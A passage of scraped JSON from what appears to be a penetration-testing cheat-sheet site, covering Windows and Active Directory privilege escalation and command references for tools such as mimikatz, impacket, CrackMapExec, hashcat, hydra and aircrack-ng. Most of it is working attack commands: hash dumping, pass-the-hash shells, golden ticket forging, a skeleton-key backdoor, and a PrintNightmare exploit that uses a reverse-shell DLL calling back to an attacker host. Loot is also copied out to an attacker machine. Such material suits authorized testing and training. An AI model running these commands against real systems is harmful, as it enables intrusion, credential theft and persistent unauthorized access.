where users' passwords are stored in base64.\ntype C:\\Windows\\Panther\\Unattend\\Unattended.xml\nDisplay unattended password.\n\u0026lt;AutoLogon\u0026gt; \u0026lt;Password\u0026gt; \u0026lt;Value\u0026gt;dHFqSnBFWDlRdjh5YktJM3lIY2M9TCE1ZSghd1c7JFQ=\u0026lt;/Value\u0026gt; \u0026lt;PlainText\u0026gt;false\u0026lt;/PlainText\u0026gt; \u0026lt;/Password\u0026gt; \u0026lt;Enabled\u0026gt;true\u0026lt;/Enabled\u0026gt; \u0026lt;Username\u0026gt;Administrator\u0026lt;/Username\u0026gt; \u0026lt;/AutoLogon\u0026gt;","permalink":"https://security.kaldei.com/killchain/5_privesc_windows/","summary":"Privilege Escalation step – a note for elevating privileges on a Windows machine.","title":"5 – Privesc Windows"},{"content":"Resources Pentesting Active Directory Mind Map - ODC Top Five Ways I Got Domain Admin 2018 Edition - Adam Toscher Credit: The Hacker Recipes - https://www.thehacker.recipes/ad/movement/ntlm\nEnumerate Users and Groups POWERVIEW Get-NetUser\nEnumerate users and their properties.\nGet-NetUser | select cn\nEnumerate domain Common Names for users.\nGet-NetUser | select description\nEnumeration description for users.\nGet-UserPropery -Properties logoncount\nShow connection count (might see a honeypot account).\nGet-NetGroupMember -name \u0026quot;Domain Admins\u0026quot;\nEnumerate users belonging to admin groups.\nGet-NetGroup -name *admin*\nEnumerate all groups with admin in it.\nEnumerate Domain Information POWERVIEW Get-NetDomain\nInfos about the domain.\nGet-NetDomainController\nInfo about the Domain Controller.\nGet-NetComputer\nInfos about servers and computers in the domain.\nGet-DomainPolicy\nInfos about Domain Policy.\nGet-NetGPO\nList GPOs.\nGet-NetGPO | select displayname, whenchanged\nList policies with when they were changed.\nPass the Password IMPACKET-PSEXEC Hands On crackmapexec smb [TARGET_NETWORK_ADDRESS]/[TARGET_CIDR] -d [TARGET_DOMAIN] -u [mySamName] -p [myUserPassword]\nPass the Password around the network to find pwnable machines.\npython3 /opt/impacket/examples/psexec.py [TARGET_DOMAIN]/mySamName:myPassword@[TARGET_IP]\nGet a shell on the tageted machine (Psexec is the most noisy).\npython3 /opt/impacket/examples/smbexec.py [TARGET_DOMAIN]/mySamName:myPassword@[TARGET_IP]\nGet a shell on the tageted machine.\npython3 /opt/impacket/examples/wmiexec.py [TARGET_DOMAIN]/mySamName:myPassword@[TARGET_IP]\nGet a shell on the tageted machine.\nGPP Attack GPP-DECRYPT Principle GPP (Group Policy Preferences) are policies with credentials embedded (they are encrypted and placed in cPassword).\nThe encryption key was released, so it is possible to decrypt GPP policies that have been encrypted with this key.\nDetection use auxiliary/scanner/smb/smb_enum_gpp\nDetect vulnerable GPP policies (credentials encrypted with leaked key).\nHands On gpg-decrypt mycPasswordEncrypted\nDecrypt GPP enmbedded credentials.\nHash Dump IMPACKET-SECRETDUMP (Remote) python3 /opt/impacket/examples/secretsdump.py myDomain/myUser:myPass@[TARGET_DC_IP]\nConnect to the target and dump hashes.\nMIMIKATZ (On Target) privilege::debug\nEnsure that current user has administrator privileges (the output should be [output '20' OK]). This indicates that debugging a process is possible.\nlsadump::lsa /patch\nDump LSA Hashes (Local Security Authority).\nlsadump::sam\nDump SAM NT Hashes.\nsekurlsa::logonpasswords\nDump Hashes from LSAA Memory (Hashes of currently logged-in users).\nPass the Hash CRACKMAPEXEC, EVIL-WINRM or IMPACKET-PSEXEC Theory Pass the Hash attack is possible with NTLM authentication protocol, but will not work with NTLMv2.\nThere are two different hash types, LM and NT:\nLM hash example: Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bc:::\nNT hash example: \u0026gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bc::: Hands On Pass NT Hash crackmapexec smb [TARGET_NETWORK_ADDRESS]/[TARGET_CIDR] -u [mySamName] -H [myUserNTHASH] --local-auth\nPass the Hash attack (NT Hash) around the network to find vulnerable machines.\nevil-winrm -i [TARGET_IP] -u [myUser] -H [myUserNTHASH]\nPass the Hash attack (NT Hash).\nPass LM+NT Hash python3 /opt/impacket/examples/psexec.py [TARGET_DOMAIN]/[mySamName]@[TARGET_IP] -hashes [myUserLMHASH]:[myUserNTHASH]\nPass the Hash attack (LM+NT).\nNote: If the LM Hash is AAD3B435B51404EEAAD3B435B51404EE and the NT Hash is 31D6CFE0D16AE931B73C59D7E0C089C0 this means there is no password for this user (by default the user won't be able to authenticate (with empty password) unless the PASSWD_NOTREQD flag is set).\nMitigation Limit account re-use: Don't re-use passwords (e.g. Local Admin and Domain Admin). Disable local Guest and Administrator accounts. Limit who is local Administrator. Enforce strong password policy: Long, random, no common words, ... Rotate password on a regular basis. Credit: TCM Security Pass the Ticket MIMIKATZ Hands On Find Local Kribi Tickets privilege::debug\nEnsure that current user has administrator privileges (the output should be [output '20' OK]). This indicates that debugging a process is possible.\nsekurlsa::tickets /export\nExport all .kirbi tickets into the current directory.\nFind others Kirbi Tickets (Password Spray) Rubeus.exe brute /password:myPassword /noticket\nSpray a password against all users in current domain and return the .kirbi TGT of users that use this password.\nPass the Ticket kerberos::ptt myTicketFromSekurlsa.kirbi\nCache and impersonate the given ticket.\nToken Impersonation METERPRETER Theory Tokens are like session cookies to access a system or network.\nDelegate tokens exist on the machine the moment a user login (and remain until the computer is rebooted).\nThey are two types of tokens:\nDelegate: Create for logging into a machine or using Remote Desktop. Impersonate: Non-interactive, such as attaching a network drive or a domain logon script. Credit: TCM Security Hands on If the current user has SeDebugPrivilege and SeImpersonatePrivilege privileges enabled, we are able to impersonate another user.\nload incognito\nLoad icognito module.\nlist_tokens -u\nList Delegation Tokens available (not sure of the flag maybe -g).\nimpersonate_token \u0026quot;BUILTIN\\Administrators\u0026quot;\nImpersonate token.\nTo determine rights, Windows uses the Primary Token of the process and not the impersonated token. So we have to migrate to a process with correct permissions.\nThe safest to pick is services.exe.\nmigrate 668\nMigrate to process 668.\nrev2self\nRevert to previous user.\nMitigation Limit user/group token creation permissions. Kerberoasting Kerberoasting Principle SPN (Service Principal Name) is the mapping between a service and the account or the name of the machine with which the service is associated.\nRequirements Have valid user credentials (not necessarily admin). Hands On With Impacket (remote) setspn -T medin -Q ​ /\nEnumerate SPN.\npython3 /opt/impacket/examples/GetUserSPNs.py [TARGET_DOMAIN]/[VALID_USER]:[VALID_PASSWORD] -dc-ip [DOMAIN_CONTROLLER_IP] -request\nDump Kerberos hash of kerberoastable users.\nhashcat -a 0 -m 13100 myHash.txt /usr/share/wordlists/rockyou.txt\nCrack Kerberos KRB_TGS_REP hash.\nWith RUBEUS (on target machine) Rubeus.exe kerberoast\nDump Kerberos hashes of kerberoastable users (same as GetUserSPNs.py but on the target machine).\nhashcat -a 0 -m 13100 myHash.txt /usr/share/wordlists/rockyou.txt\nCrack Kerberos KRB_TGS_REP hash.\nMitigation Have a very strong password for service accounts. Don’t make services accounts domain administrators. AS-REProasting This attack require users with pre-authentication disabled.\nRubeus.exe asreproast\nDump Kerberos hashes of AS_REProastable users. (Then Insert 23$ after $krb5asrep$ and use hashcat -m 18200).\nhashcat -a 0 -m 1820 myHash.txt /usr/share/wordlists/rockyou.txt\nCrack Kerberos KRB_AS_REP hash.\nGolden/Silver Ticket MIMIKATZ Principle Forge a special ticket and then is it with Pass the Ticket Attack to gain elevated privileges. A Golden Ticket is TGT (Ticket Granting Ticket). A Silver Ticker is TGS (Ticket Granting Service).\nRequirements privilege::debug\nEnsure that current user has administrator privileges (the output should be [output '20' OK]). This indicates that debugging a process is possible.\nHands On (MIMIKATZ) lsadump::lsa /inject /name:krbtgt\nDump hash and security identifier required to create a Golden Ticket.\nNote: To create a Silver Ticket, change the /name: to a domain admin account or a service account.\nCredit: TCM Security\nkerberos::golden /user:Administrator /domain:mycontroller.local /sid:S-1-5-21-432953485-3795405108-1502158860 /krbtgt:72cd714611b64cd4d5550cd2759db3f6 /id:500 /ptt\nCreate a golden ticket (/ptt stands for Pass The Ticket, if we don’t put it, the command will save the ticket to a file).\nNote: To create a Silver Ticket, simply put a service NTLM hash into the /krbtgt: slot, the sid of the service account into /sid:, and change the /id: to 1103.\nmisc::cmd\nOpen a new elevated command prompt with the given ticket in Minikatz.\ndir \\\\TARGET-MACHINE-NAME\\c$\nList files in c drive of the machine.\nPsExec.exe \\\\TARGET-MACHINE-NAMEcmd.exe\nGet a shell on the machine.\nExploit PrintNightmare (CVE-2021-1675) Hands On Generate Malicious DLL msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] -f dll -o msfvenom_revshell.dll\nGenerate a malicious DLL (meterpreter reverse shell).\nCreate an SMB Share to Serve the Malicious DLL python3 /opt/impacket/examples/smbserver.py myShareName /path/to/folder/ -smb2support\nSet up an SMB share.\nSet up Handler use exploit/multi/handler\n**set payload windows/x64/meterpreter/reverse_tcp **\nexploit\nHandler for Windows Meterpreter.\nExploit https://github.com/cube0x0/CVE-2021-1675\npython3 /opt/impacket/examples/CVE-2021-1675.py myUser:myPassword@[TARGET_IP] '\\\\[ATTACKER_IP]\\ myShareName\\msfvenom_revshell.dll'\nRun the exploit: privilege escalation (might display an error but meterpreter session is on).\nPersistence and Evasion Skeleton Key Principle The Skeleton Key is backdoor: this attack set a master password for domain Admin. It will not persist by itself because it runs in the memory, it can be scripted or persisted using other tools and techniques\nRequirements privilege::debug\nEnsure that current user has administrator privileges (the output should be [output '20' OK]). This indicates that debugging a process is possible.\nHands On misc::skeleton\nCreate a backdoor with credentials \u0026quot;mimikatz\u0026quot;.\ndir \\\\Desktop-1\\c$ /user:Machine1 mimikatz\nList C: drive content using Skleton Key backdoor.\nAppLocker Bypass If AppLocker is configured with default rules, we can bypass it by placing our executable in whitelisted by default directories. Example:\nC:\\Windows\\System32\\spool\\drivers\\color ","permalink":"https://security.kaldei.com/killchain/5_privesc_windows_domain/","summary":"Privilege Escalation step – a note for elevating privileges on a Windows Domain.","title":"5 – Privesc Windows Domain"},{"content":"AIRCRACK-NG https://github.com/aircrack-ng/aircrack-ng\nMonitor Mode airmon-ng check kill\nKill processes that interfere with monitor mode.\nairmon-ng start wlan0\nStart monitor mode on wlan0 interface.\nCapture airodump-ng wlan0mon\nListen for APs around.\nairodump-ng wlan0mon -w scan\nIdentify target BSSID and Channel.\nairodump-ng wlan0mon -w capture --bssid AP:MAC --channel 6\nCapture traffic from an AP. Need to wait for WPA handshake in the top right.\nCan use Deauth Attack to speed up the process.\nDeauth Attack aireplay-ng wlan0mon -0 1 -a AP:MAC -c CLIENT:MAC\nDeauth attack (kick the client off the AP really quick).\n-0 1\nDeauth, one time.\n-c\nClient to deauthenticate.\nCrack WEP, WPA-PSK aircrack-ng -a WEP myCapture.cap\naircrack-ng -w wordlist.txt -b AP:MAC myCaptureFromAirodump\n-a WEP\nAttack Mode: WEP (Need \u0026gt; 5000 IV) or WPA-PSK.\n-e mySSID\nSpecifies SSID.\n-n 64\nSize of the key (64, 128, 152, 256, 512).\n","permalink":"https://security.kaldei.com/tools/aircrack-ng/","summary":"A complete suite of tools to assess WiFi network security.","title":"AIRCRACK-NG"},{"content":"ASSETFINDER https://github.com/tomnomnom/assetfinder\nBasis go install github.com/tomnomnom/assetfinder@latest\nassetfinder [TARGET_DOMAIN]\nFind subdomains and some that could be related.\nassetfinder --subs-only [TARGET_DOMAIN]\nFind only subdomains (stay in the scope).\n","permalink":"https://security.kaldei.com/tools/assetfinder/","summary":"A subdomains and related domains finder tool, written in Go.","title":"ASSETFINDER"},{"content":"BLOODHOUND https://github.com/BloodHoundAD/BloodHound\nStart (Attacker Machine) sudo neo4j console\nStart Neo4j (then connect on http://localhost:7474/).\nbloodhound\nStart Bloodhound.\nLoot (Target Machine) https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors\npowershell.exe -ExecutionPolicy bypass\nBypass PowerShell script execution restrictions.\n. .\\SharpHound.ps1\nInitialize SharpHound.\nInvoke-Bloodhound -CollectionMethod All -Domain [TARGET_DOMAIN] -ZipFileName BloudhoundLoot.zip\nRun SharpHound.\nscp BloudhoundLoot.zip myUser@[ATTACKER_MACHINE]:/home/myUser/\nBring back the loot to the attacker's machine, and open it in Bloodhound Web UI.\n","permalink":"https://security.kaldei.com/tools/bloodhound/","summary":"A tool to reveal hidden and unintended relationships within an Active Directory or Azure environment.","title":"BLOODHOUND"},{"content":"CEWLER https://github.com/roys/cewler\nGenerate a wordlist cewler http://[TARGET_HOST] --depth 5 -o my_cewler_wordlist.txt\nGenerate a wordlist from the target website.\n","permalink":"https://security.kaldei.com/tools/cewler/","summary":"A custom word List generator","title":"CEWLER"},{"content":"CRACKMAPEXEC https://github.com/Porchetta-Industries/CrackMapExec\nResources Workshop CrackMapExec LeHack 2023 Writeup - BOUYAICHE RAYAN Flags --sam\nDump SAM hashes.\n--lsa\nDump LSA Secrets.\nPass the Password crackmapexec smb [TARGET_NETWORK_ADDRESS]/[TARGET_CIDR] -d [TARGET_DOMAIN] -u [mySamName] -p [myUserPassword]\nPass the Password around the network to find pwnable machines.\nPass the Hash (NT) crackmapexec smb [TARGET_NETWORK_ADDRESS]/[TARGET_CIDR] -u [mySamName] -H [myUserNTHASH] --local-auth\nPass the Hash attack (NT Hash) around the network to find vulnerable machines.\n","permalink":"https://security.kaldei.com/tools/crackmapexec/","summary":"A swiss army knife for pentesting networks.","title":"CRACKMAPEXEC"},{"content":"CROWDSEC https://www.crowdsec.net/\nInstall curl -s https://packagecloud.io/install/repositories/crowdsec/crowdsec/script.deb.sh | sudo bash\nInstall CrowdSec Repository.''\nsudo apt install crowdsec\nInstall CrowdSec. This only installs the detection part (it's an IDS).\nsudo apt install crowdsec-firewall-bouncer-iptables\nInstall the Bouncer. This installs the prevention part (it's now an IPS)\nBasis cscli hub list\nShow CrowdSec collections, parsers, scenarios.\ncscli alerts list\nShow CrowdSec actions.\ncscli decisions list\nShow CrowdSec actions.\ncscli collections install crowdsecurity/apache2\nInstall a new collection. Collections are available here: https://hub.crowdsec.net/browse/\n/usr/share/crowdsec/wizard.sh -c\nEnable other collections.\n","permalink":"https://security.kaldei.com/tools/crowdsec/","summary":"An open-source and paticipative IDS and IDS.","title":"CROWDSEC"},{"content":"DNSRECON https://github.com/darkoperator/dnsrecon\nBasis dnsrecon -t brt -d [TARGET_DOMAIN]\nFind subdomains (brute force).\n","permalink":"https://security.kaldei.com/tools/dnsrecon/","summary":"A DNS enumeration Script, witten in Python.","title":"DNSRECON"},{"content":"ENUM4LINUX https://github.com/CiscoCXSecurity/enum4linux\nBasis enum4linux [TARGET_DOMAIN]\nLinux scan.\nenum4linux -U [TARGET_DOMAIN]\nLinux Users.\nSMB enum4linux -S [TARGET_DOMAIN]\nList Samba Share.\nFlags -U\nGet userlist.\n-M\nGet machine list.\n-N\nGet namelist dump (different from -U and-M).\n-S\nGet sharelist.\n-P\nGet password policy information.\n-G\nGet group and member list.\n-A\nAll of the above (full basic enumeration).\n","permalink":"https://security.kaldei.com/tools/enum4linux/","summary":"A Linux alternative to enum.exe for enumerating data from Windows and Samba hosts.","title":"ENUM4LINUX"},{"content":"ETTERCAP https://github.com/Ettercap/ettercap\nBasis ettercap -T -S -i wlan0 -M arp:remote /[ROUTER_IP]// /[TARGET_IP]//\nFlags -T\nText Only (no GUI). -S\nDo no use SSL.\n-i wlan0\nSpecify interface.\n-M Man In The Middle Attack.\narp:remote\nAttack Method.\n","permalink":"https://security.kaldei.com/tools/ettercap/","summary":"A comprehensive suite for man in the middle attacks.","title":"ETTERCAP"},{"content":"EVIL-WINRM https://github.com/Hackplayers/evil-winrm\nPass the Hash evil-winrm -i [TARGET_IP] -u [myUser] -H [myUserNTHASH]\nPass the Hash attack (NT Hash).\n","permalink":"https://security.kaldei.com/tools/evil-winrm/","summary":"A WinRM shell for pentesting","title":"EVIL-WINRM"},{"content":"FCRACKZIP http://oldhome.schmorp.de/marc/fcrackzip.html\nBasis fcrackzip -v -D -p /usr/share/wordlists/rockyou.txt -u myZipFile.zip\nCrack ZIP archive password.\nFlags -v\nVerbose.\n-D\nDictionary attack.\n-p\nPassword list.\n-u myZip.zip\nZip file.\n","permalink":"https://security.kaldei.com/tools/fcrackzip/","summary":"A zip password cracker, similar to fzc, zipcrack and others.","title":"FCRACKZIP"},{"content":"FUFF https://github.com/ffuf/ffuf\nWeb Paths fuff -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt:FUZZ -u http://[TARGET_DOMAIN]/FUZZ\nWeb Path FUZZ.\nVirtual Host Fuzz ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H \u0026quot;Host: FUZZ.[TARGET_DOMAIN]\u0026quot; -u http://[TARGET_DOMAIN] -fs 2395\nVirtual Host FUZZ.\nUser Enumeration ffuf -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -X POST -d \u0026quot;username=FUZZ\u0026amp;email=x\u0026amp;password=x\u0026amp;cpassword=x\u0026quot; -H \u0026quot;Content-Type: application/x-www-form-urlencoded\u0026quot; -u http://[TARGET_DOMAIN]/signup -mr \u0026quot;username already exists\u0026quot;\nUser Enumeration.\nFUFF HTTP POST Form Brute Force ffuf -w myUsersFile.txt:W1,/usr/share/wordlists/rockyou.txt:W2 -X POST -d \u0026quot;username=W1\u0026amp;password=W2\u0026quot; -H \u0026quot;Content-Type: application/x-www-form-urlencoded\u0026quot; -u http://[TARGET_IP]/login -fc 200\nBrute Force HTTP POST form with valid username.\nFlags -fs\nSize to filter (do not show response with this size).\n-mr\nText on the page we are looking for to validate.\n-w\nWordlist location.\n-u Specifies the URL.\n-d\nData (fields) that we send.\n-H\nAdd additional headers to the request.\n","permalink":"https://security.kaldei.com/tools/fuff/","summary":"A fast web fuzzer, written in Go.","title":"FUFF"},{"content":"GDB https://www.sourceware.org/gdb/\nLaunch Supported languages: Ada / Assembly / C / C++ / D / Fortran / Go / Objective-C / OpenCL / Modula-2 / Pascal / Rust\ngdb myFile\nOpen myFile in gdb.\ngdb -p 'pidof myFile' Attach GDB to the process id of myFile (running program).\nBasis set disassembly-flavor intel\nMake disassemble more readable.\ndisassemble main\nDisplay all assembler instructions from main.\nprint myFunction\nDisplay the address of myFunction.\nvmmap\nShow Virtual Memory Map.\nMemory Content info registers\nGive info about registers.\ninfo proc mappings\nGive info about memory.\nset $eax=0\nSet the value (here set eax to 0).\nMove in Program Execution x/s address Go to a specific address.\nrun\nStart the program.\ncontinue\nRun the program until next breakpoint.\nsi\nStep one instruction (step into function calls).\nni\nStep one instruction (no step into function calls).\nBreakpoint break *main\nAdd a breakpoint to main function.\nbreak *address\nAdd a breakpoint to an address.\ndel\nDelete a breakpoint.\nHook A Hook execute GDB commands when hitting a breakpoint.\ndefine hook-stop\nSwitches to Hook creation mode (enter commands and end with end).\n","permalink":"https://security.kaldei.com/tools/gdb/","summary":"The GNU Project Debugger.","title":"GDB"},{"content":"GOBUSTER https://github.com/OJ/gobuster\nFiles and Folders Fuzz gobuster dir -u http://[TARGET_IP]:[TARGET_PORT] -w myWordList -x php,txt,html\nSearch files.\ngobuster dir -u http://[TARGET_IP]:[TARGET_PORT] -w myWordList\nSearch folders.\nFlags -u http://[TARGET_IP]:[TARGET_PORT]\nTarget folders.\n-x php,txt,html\nTarget files.\n-w myWordList\nWordlist.\n-b 403,302\nExclude some code from response.\n-U myUser\nUsername.\n-P myPass\nPassword.\n-e\nPrint the full URLs in your console.\n-p [TARGET_IP]\nProxy to use for requests.\n-c \u0026lt;http cookies\u0026gt;\nSpecify a cookie for simulating your auth.\n","permalink":"https://security.kaldei.com/tools/gobuster/","summary":"A directory, file, DNS and vhost busting tool, written in Go.","title":"GOBUSTER"},{"content":"GOWITNESS https://github.com/sensepost/gowitness\nBasis go install github.com/sensepost/gowitness@latest\ngowitness single https://[TARGET_DOMAIN]\nTake a Screenshot\n","permalink":"https://security.kaldei.com/tools/gowitness/","summary":"A web screenshot utility using Chrome Headless, written in Go.","title":"GOWITNESS"},{"content":"GPP-DECRYPT https://github.com/t0thkr1s/gpp-decrypt\nBasis gpg-decrypt mycPasswordEncrypted\nDecrypt GPP enmbedded credentials.\n","permalink":"https://security.kaldei.com/tools/gpp-decrypt/","summary":"A tool to extract username and decrypt cpassword attribute from the Group Policy Preferences XML file.","title":"GPP-DECRYPT"},{"content":"HASHCAT https://github.com/hashcat/hashcat\nAttack Types Dictionary Attack (-a 0) hashcat -a 0 -m 0 “myHash” /usr/share/wordlists/rockyou.txt\nDictionary attack.\nCombinator Attack (-a 1) https://hashcat.net/wiki/doku.php?id=combinator_attack\nhashcat -a 1 -m 0 \u0026quot;myHash\u0026quot; myPrefix.txt /usr/share/wordlists/rockyou.txt\nDictionary attack with a prefix.\nMask Attack (-a 3) https://hashcat.net/wiki/doku.php?id=mask_attack\nJokers ?l\nabcdefghijklmnopqrstuvwxyz\n?u\nABCDEFGHIJKLMNOPQRSTUVWXYZ\n?d\n0123456789\n?h\n0123456789abcdef\n?H\n0123456789ABCDEF\n?s\n«space»!\u0026quot;#$%\u0026amp;'()*+,-./:;\u0026lt;=\u0026gt;?@[]^_`{|}~\n?a\n?l?u?d?s\n?b\n0x00 - 0xff\nExamples hashcat -a 3 -m 0 \u0026quot;myHash\u0026quot; ?l?l?l?l\nBrute force from aaaa to zzzz.\nhashcat -a 3 -m 0 \u0026quot;myHash\u0026quot; \u0026quot;passBegining?l?l?l?l\u0026quot;\nBrute force from passBeginingaaaa to passBeginingzzzz.\nFlags -a\nAttack mode (ex: 0 = straight dictionary list).\n-m\nHashing type (ex: 1800 = MD5).\n-O\nEnable kernel optimization (GPU).\n-o myOutFile\nStore output info in myFile.\nHash Types https://hashcat.net/wiki/doku.php?id=example_hashes\nMD5 -m 0\nMD5.\n-m 500\nMD5crypt, MD5 (Unix), Cisco-IOS.\nSHA -m 1800\nSHA256 Unix.\nWindows -m 1000\nNTLM.\nhashcat -a 0 -m 5600 myHashes.txt /usr/share/wordlists/rockyou.txt\nCrack NetNTMLv2 hashes.\nhashcat -a 0 -m 1100 0 '15a57c379ebdfea572ad1ff91eb6ef0c:Administrator' /usr/share/wordlists/rockyou.txt\nCrack DCC (Domain Cached Credentials) hash.\n-m 2100\nMS Cache - DCC2 (Domain Cached Credentials 2).\nhashcat -a 0 -m 13100 myHash.txt /usr/share/wordlists/rockyou.txt\nCrack Kerberos KRB_TGS_REP hash.\nArchive Files -m 13000\nRAR.\nzip2john myFile.zip \u0026gt; forhashcat.txt\nRemove name of the file and archive from the hash (at the beginning and the end).\nhashcat -a 0 -m 13600 forhashcat.txt /usr/share/wordslist/rockyou.txt\nCrack ZIP archive password.\n","permalink":"https://security.kaldei.com/tools/hashcat/","summary":"A really fast password cracker.","title":"HASHCAT"},{"content":"HOAXSHELL https://github.com/t3l3machus/hoaxshell\nBasis sudo python3 hoaxshell.py -s [ATTACKER_IP]\nCreate a reverse shell payload (that utilizes Invoke-Expression) and start a handler.\n","permalink":"https://security.kaldei.com/tools/hoaxshell/","summary":"A Windows reverse shell payload generator and handler that abuses http(s) to establish reverse shell.","title":"HOAXSHELL"},{"content":"HYDRA https://github.com/vanhauser-thc/thc-hydra\nBasis hydra -l username -P wordlist.txt [TARGET_IP] service\nFlags -V\nVerbose.\n-vV\nVery Verbose.\n-L myUsersFile\nSpecify usernames file list.\n-l myUser\nSpecify username.\n-P myPassFile\nSpecify password file list.\n-p myPass\nSpecify password.\n-s\nSpecify port.\n-t 4\nNumber of parallel connections per target.\nSSH hydra -L myUsersFile -P myPassFile [TARGET_IP] ssh\nBrute Force SSH.\nPOST hydra -vV -L myUsersFile.txt -P /usr/share/wordlists/rockyou.txt [TARGET_IP] http-post-form ‘/path/to/form.php:username=^USER^\u0026amp;password=^PASS^\u0026amp;login=Login:F=ChainNotOK’\nBrute Force HTTP POST form with valid username.\nBasic Access Auth hydra -vV -l myUser -P /usr/share/wordlists/rockyou.txt [TARGET_IP] http-get /path/\nBrute Force HTTP Basic Access Authentication.\nFTP hydra -vV -l myUser -P /usr/share/wordlists/rockyou.txt [TARGET_IP] ftp\nBrute Force FTP Login.\n","permalink":"https://security.kaldei.com/tools/hydra/","summary":"A very fast and flexible login cracker.","title":"HYDRA"},{"content":"IMMUNITY https://www.immunityinc.com/products/debugger/\nBasis File \u0026gt; Attach\nChoose Program to analyze.\nWindows \u0026gt; CPU\ndisplay main view (with registers and buffer).\nAdd MONA Put the followig script in C:\\Program Files (x86)\\Immunity Inc\\Immunity Debugger\\PyCommands\nhttps://github.com/corelan/mona\n","permalink":"https://security.kaldei.com/tools/immunity/","summary":"A powerful debugger to write exploits, analyze malware, and reverse engineer binary files.","title":"IMMUNITY"},{"content":"IMPACKET https://github.com/fortra/impacket\nIMPACKET List of Tools https://tools.thehacker.recipes/impacket\nIMPACKET SMB Server python3 /opt/impacket/examples/smbserver.py myShareName /path/to/folder/ -smb2support\nSet up an SMB share.\nIMPACKET NTML Relay python3 /opt/impacket/examples/ntlmrelayx.py -tf myTargets.txt -smb2support --no-multirelay\nRelay NTLM Hash and Dump Sam Hashes.\n** /!\\ TO CHECK /!\\ **\npython3 /opt/impacket/examples/ntlmrelayx.py -tf myTargets.txt -smb2support --no-multirelay -i\nRelay NTLM Hash and start a Bind Shell.\nnc 127.0.0.1 11000 Connect to the shell.\n-tf\nTarget File.\n-i\nInteractive (spawn a shell).\n--no-multirelay\nRequired because of new protection (https://docs.microsoft.com/en-US/troubleshoot/windows-server/networking/guest-access-in-smb2-is-disabled-by-default).\nIMPACKET Hash Dump python3 /opt/impacket/examples/secretsdump.py myDomain/myUser:myPass@[TARGET_DC_IP]\nConnect to the target and dump hashes.\npython3 /opt/impacket/examples/secretsdump.py myNetBIOSDCName\\$@[TARGET_DC_IP] -no-pass\nConnect with empty password (after Zerologon exploit) and dump hashes.\nIMPACKET Pass the Password python3 /opt/impacket/examples/psexec.py [TARGET_DOMAIN]/mySamName:myPassword@[TARGET_IP]\nGet a shell on the tageted machine (Psexec is the most noisy).\npython3 /opt/impacket/examples/smbexec.py [TARGET_DOMAIN]/mySamName:myPassword@[TARGET_IP]\nGet a shell on the tageted machine.\npython3 /opt/impacket/examples/wmiexec.py [TARGET_DOMAIN]/mySamName:myPassword@[TARGET_IP]\nGet a shell on the tageted machine.\nIMPACKET Pass the Hash (LM+NT) python3 /opt/impacket/examples/psexec.py [TARGET_DOMAIN]/[mySamName]@[TARGET_IP] -hashes [myUserLMHASH]:[myUserNTHASH]\nPass the Hash attack (LM+NT).\nNote: If the LM Hash is AAD3B435B51404EEAAD3B435B51404EE and the NT Hash is 31D6CFE0D16AE931B73C59D7E0C089C0 this means there is no password for this user (by default the user won't be able to authenticate (with empty password) unless the PASSWD_NOTREQD flag is set).\nIMPACKET Kerberoastable python3 /opt/impacket/examples/GetUserSPNs.py [TARGET_DOMAIN]/[VALID_USER]:[VALID_PASSWORD] -dc-ip [DOMAIN_CONTROLLER_IP] -request\nDump Kerberos hash of kerberoastable users.\n","permalink":"https://security.kaldei.com/tools/impacket/","summary":"A collection of Python classes for working with network protocols.","title":"IMPACKET"},{"content":"JOHN https://github.com/openwall/john\nBasis john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt\nCrack unknown hash.\nFlags --fork=4\nParallelization\nUnshadow unshadow /etc/passwd /etc/shadow \u0026gt; unshadowd.txt\nPrepare passwd and shadow file for John.\njohn unshadow.txt --wordlist=/usr/share/wordlists/rockyou.txt\nCrack user passwords.\njohn --show unshadow.txt\nDisplay cracked passwords.\nPrivate Key Passphrase /usr/share/john/ssh2john.py private_key \u0026gt; forjohn.txt\nPrepare private key for John.\njohn --wordlist=/usr/share/wordlists/rockyou.txt forjohn.txt\nCrack private key passphrase.\nJWT john --format=HMAC-SHA512 jwt.txt Brute force JWT's key used for signature. Choose the alg used by the token (e.g. HMAC-SHA256, HMAC-SHA512, ...).\nMD5 john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt\nCrack MD5 hash.\nNTLM john --format=NT -w=/usr/share/wordlists/rockyou.txt hash.txt --pot=output.txt\nCrack NTLM Hash.\nRAR rar2john myFile.rar \u0026gt; forjohn.txt\nPrepare RAR archive for John.\njohn forjohn.txt\nCrack RAR archive password.\nZIP zip2john myFile.zip \u0026gt; forjohn.txt\nPrepare ZIP archive for John.\njohn forjohn.txt\nCrack ZIP archive password.\n","permalink":"https://security.kaldei.com/tools/johntheripper/","summary":"An advanced offline password cracker.","title":"JOHN"},{"content":"JWT_TOOL https://github.com/ticarpi/jwt_tool\nBasis jwt_tool [myToken] [myDictionary]\nDictionnary attack JWT token secret.\n","permalink":"https://security.kaldei.com/tools/jwt_tool/","summary":"A toolkit for testing, tweaking and cracking JSON Web Tokens.","title":"JWT_TOOL"},{"content":"JWT-CRACKER https://github.com/lmammino/jwt-cracker\nBasis jwt-cracker [myToken] [myAlphabet] [myMaxSecretLengthExpected]\nBrute force attack JWT token secret.\nDefault Alphabet : abcdefghijklmnopqrstuvwxyz\n","permalink":"https://security.kaldei.com/tools/jwt-cracker/","summary":"A simple HS256 JWT token brute force cracker.","title":"JWT-CRACKER"},{"content":"KERBRUTE https://github.com/ropnop/kerbrute\nFind Valid Users kerbrute -dc-ip [TARGET_DC_IP] -domain [TARGET_DOMAIN] -users myUserList.txt -t 10\nFind valid users by testing all usernames in a list (-t is for thread).\n","permalink":"https://security.kaldei.com/tools/kerbrute/","summary":"A tool to perform Kerberos pre-auth bruteforcing","title":"KERBRUTE"},{"content":"LOKI https://github.com/Neo23x0/Loki\nBasis python loki.py --update\nUpdate.\npython loki.py -p /folder/containing/suspicious/file\nLook for IOC in the folderLoki.\nIOC Scanners Thor (Commercial edition of LOKI) and THOR Lite (Free edition). https://www.nextron-systems.com/thor-lite/\nFenrir (IOC scanner bash script) 